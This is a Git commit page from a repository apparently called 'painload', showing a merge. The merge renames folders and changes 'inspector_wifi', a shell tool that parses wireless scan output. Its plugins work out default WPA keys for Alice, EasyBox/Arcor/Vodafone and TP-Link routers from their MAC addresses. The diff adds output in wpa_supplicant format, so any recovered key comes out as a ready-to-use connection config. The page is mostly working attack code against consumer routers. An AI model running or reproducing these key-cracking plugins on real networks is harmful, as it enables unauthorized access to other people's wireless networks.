summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authormakefu <github@syntax-fehler.de>2014-12-25 21:15:01 +0100
committermakefu <github@syntax-fehler.de>2014-12-25 21:15:01 +0100
commitabd5b2c8f074ae26c2680048640c47e10566bd39 (patch)
tree9dbdc63edbababec6412992dabba84089117b472
parentc0f39b57888603595aa37d5abbdad0f52a525184 (diff)
parent8db6cecf6f088ebac98a6be15d920ab412a1c510 (diff)
Merge branch 'master' of ssh://github.com/krebscode/painload
everything stays the same in inspector_wifi Conflicts: recon/inspect_wifi/.gitignore recon/inspect_wifi/README.md recon/inspect_wifi/TODO recon/inspect_wifi/inspector_wifi recon/inspect_wifi/plugins/01open recon/inspect_wifi/plugins/02alice recon/inspect_wifi/plugins/02easybox recon/inspect_wifi/plugins/02tplink recon/inspect_wifi/plugins/plugin_core recon/inspector_wifi/.gitignore recon/inspector_wifi/README.md recon/inspector_wifi/TODO recon/inspector_wifi/inspector_wifi recon/inspector_wifi/plugins/01open recon/inspector_wifi/plugins/02alice recon/inspector_wifi/plugins/02easybox recon/inspector_wifi/plugins/02tplink recon/inspector_wifi/plugins/plugin_core recon/wifi_inspector/.gitignore recon/wifi_inspector/README.md recon/wifi_inspector/TODO recon/wifi_inspector/inspector_wifi recon/wifi_inspector/plugins/01open recon/wifi_inspector/plugins/02alice recon/wifi_inspector/plugins/02easybox recon/wifi_inspector/plugins/02tplink recon/wifi_inspector/plugins/plugin_core
-rw-r--r--boot/arch_install.sh (renamed from .graveyard/boot/arch_install.sh)0
-rw-r--r--boot/lighttpd.conf (renamed from .graveyard/boot/lighttpd.conf)0
l---------boot/painload.sh (renamed from .graveyard/boot/painload.sh)0
l---------boot/retiolum.sh (renamed from .graveyard/boot/retiolum.sh)0
-rw-r--r--recon/inspector_wifi/.gitignore (renamed from recon/inspect_wifi/.gitignore)0
-rw-r--r--recon/inspector_wifi/README.md (renamed from recon/inspect_wifi/README.md)0
-rw-r--r--recon/inspector_wifi/TODO (renamed from recon/inspect_wifi/TODO)0
-rwxr-xr-xrecon/inspector_wifi/inspector_wifi (renamed from recon/inspect_wifi/inspector_wifi)63
-rwxr-xr-xrecon/inspector_wifi/plugins/01open (renamed from recon/inspect_wifi/plugins/01open)0
-rwxr-xr-xrecon/inspector_wifi/plugins/02alice (renamed from recon/inspect_wifi/plugins/02alice)5
-rwxr-xr-xrecon/inspector_wifi/plugins/02easybox (renamed from recon/inspect_wifi/plugins/02easybox)3
-rwxr-xr-xrecon/inspector_wifi/plugins/02tplink (renamed from recon/inspect_wifi/plugins/02tplink)13
-rw-r--r--recon/inspector_wifi/plugins/plugin_core (renamed from recon/inspect_wifi/plugins/plugin_core)0
13 files changed, 61 insertions, 23 deletions
diff --git a/.graveyard/boot/arch_install.sh b/boot/arch_install.sh
index ee23ed20..ee23ed20 100644
--- a/.graveyard/boot/arch_install.sh
+++ b/boot/arch_install.sh
diff --git a/.graveyard/boot/lighttpd.conf b/boot/lighttpd.conf
index e8d621aa..e8d621aa 100644
--- a/.graveyard/boot/lighttpd.conf
+++ b/boot/lighttpd.conf
diff --git a/.graveyard/boot/painload.sh b/boot/painload.sh
index 1ee91d92..1ee91d92 120000
--- a/.graveyard/boot/painload.sh
+++ b/boot/painload.sh
diff --git a/.graveyard/boot/retiolum.sh b/boot/retiolum.sh
index 69425ea9..69425ea9 120000
--- a/.graveyard/boot/retiolum.sh
+++ b/boot/retiolum.sh
diff --git a/recon/inspect_wifi/.gitignore b/recon/inspector_wifi/.gitignore
index 05ba1603..05ba1603 100644
--- a/recon/inspect_wifi/.gitignore
+++ b/recon/inspector_wifi/.gitignore
diff --git a/recon/inspect_wifi/README.md b/recon/inspector_wifi/README.md
index 3e0d8dce..3e0d8dce 100644
--- a/recon/inspect_wifi/README.md
+++ b/recon/inspector_wifi/README.md
diff --git a/recon/inspect_wifi/TODO b/recon/inspector_wifi/TODO
index ddd59818..ddd59818 100644
--- a/recon/inspect_wifi/TODO
+++ b/recon/inspector_wifi/TODO
diff --git a/recon/inspect_wifi/inspector_wifi b/recon/inspector_wifi/inspector_wifi
index 06f37ddb..a13ecd3d 100755
--- a/recon/inspect_wifi/inspector_wifi
+++ b/recon/inspector_wifi/inspector_wifi
@@ -2,19 +2,42 @@
# Usage; sudo iwlist wlan0 scan | ./inspector_wifi
#
#
-set -eu
+# set -eu
cd "$(dirname "$(readlink -f "$0")")"
-echo "waiting for iwlist scan data..." >&2
+
+usage(){
+ echo '-h show this help'
+ echo '-w output in wpa_supplicant.conf format'
+ echo '-n normal output message'
+ echo ''
+ echo 'Example: iwlist wlan0 scan | ./inspector_wifi -w'
+
+ exit 0
+}
crack_wifi(){
for i in plugins/*;do
if RET=$(./$i "$@" 2>/dev/null);then
- echo "$@ - with crack $i succeeded - Key is $RET"
+ if [ ! -z wpa_sup ]; then
+ make_config $@ $RET
+ else
+ echo "$@ - with crack $i succeeded - Key is $RET"
+ fi
fi
done
}
+make_config(){
+ cat<<EOF
+network={
+ ssid="$1"
+ psk="$5"
+}
+EOF
+
+}
+
shell_escape(){
sed 's/./\\&/g'
}
@@ -60,16 +83,40 @@ iwlist_scan_parser(){
esac
done;
crack_wifi "$ESSID" $MAC $CHANNEL any_encryption
- echo WIFI_COUNT=$count
+ #echo WIFI_COUNT=$count
}
-wifi_init(){
- iwlist_scan_parser
-}
loop_networks(){
for i in `seq 1 $WIFI_COUNT`; do
loop_over_cracks "$i"
done
}
-wifi_init
+
+wifi_init(){
+ iwlist_scan_parser
+}
+
+print_wpa_supplicant(){
+ echo "args $@"
+}
+
+
+if [ $# -eq 0 ]; then
+ usage
+fi
+
+while getopts wn OPT; do
+ case "$OPT" in
+ w)
+ wpa_sup=1
+ ;;
+ n)
+ ;;
+ \?)
+ usage
+ ;;
+ esac
+done
+
+iwlist_scan_parser
diff --git a/recon/inspect_wifi/plugins/01open b/recon/inspector_wifi/plugins/01open
index 881f47ea..881f47ea 100755
--- a/recon/inspect_wifi/plugins/01open
+++ b/recon/inspector_wifi/plugins/01open
diff --git a/recon/inspect_wifi/plugins/02alice b/recon/inspector_wifi/plugins/02alice
index f30acc3a..65ab34b1 100755
--- a/recon/inspect_wifi/plugins/02alice
+++ b/recon/inspector_wifi/plugins/02alice
@@ -11,10 +11,7 @@ cd $(dirname $(readlink -f $0))
parse_plugin_args "$@"
-if ! check_vendor_mac $VENDOR_MAC "00255E" ;then
- echo "$VENDOR_MAC not affected"
- exit 1
-fi
+! check_vendor_mac $VENDOR_MAC "00255E" && echo "$VENDOR_MAC not affected" && exit 1
# printf always makes string to lower, need that for correct md5sum
ETHMAC=$( printf "%012x" $((0x${MAC}-1)) )
diff --git a/recon/inspect_wifi/plugins/02easybox b/recon/inspector_wifi/plugins/02easybox
index 58816f25..3bb1ee86 100755
--- a/recon/inspect_wifi/plugins/02easybox
+++ b/recon/inspector_wifi/plugins/02easybox
@@ -5,10 +5,11 @@ cd $(dirname $(readlink -f $0))
. ./plugin_core
parse_plugin_args "$@"
-if ! echo "$ESSID" | grep -q '\(EasyBox-\|Arcor-\|Vodafone-\)'; then
+if ! echo "$ESSID" | egrep -i "(EasyBox-|Arcor-|Vodafone-)" >/dev/null; then
echo "Essid $ESSID is not Default EasyBox|Arcor|Vodafone"
exit 1
else
+
# Fill up to 4 places with zeros, if necessary:
deci=$(printf "%04d" "0x${MAC:8:4}" | sed 's/.*\(....\)/\1/;s/./& /g')
#
diff --git a/recon/inspect_wifi/plugins/02tplink b/recon/inspector_wifi/plugins/02tplink
index 522c0845..751ec209 100755
--- a/recon/inspect_wifi/plugins/02tplink
+++ b/recon/inspector_wifi/plugins/02tplink
@@ -8,17 +8,10 @@ cd $(dirname $(readlink -f $0))
parse_plugin_args "$@"
-if ! check_vendor_mac $VENDOR_MAC F8D111; then
- echo "$VENDOR_MAC not affected"
- exit 1
-fi
-
-if echo "$ESSID" | grep -q '^tp'; then
- echo "$ESSID not affected"
- exit 1
-fi
+! check_vendor_mac $VENDOR_MAC "F8D111" && echo "$VENDOR_MAC not affected" && exit 1
+! echo $ESSID | egrep -q '^tp' && echo "$ESSID not affected" && exit 1
# printf always makes string to lower, need that for correct md5sum
-printf "${MAC:4:12}"
+printf ${MAC:4:12}
exit 0
diff --git a/recon/inspect_wifi/plugins/plugin_core b/recon/inspector_wifi/plugins/plugin_core
index e79a3c05..e79a3c05 100644
--- a/recon/inspect_wifi/plugins/plugin_core
+++ b/recon/inspector_wifi/plugins/plugin_core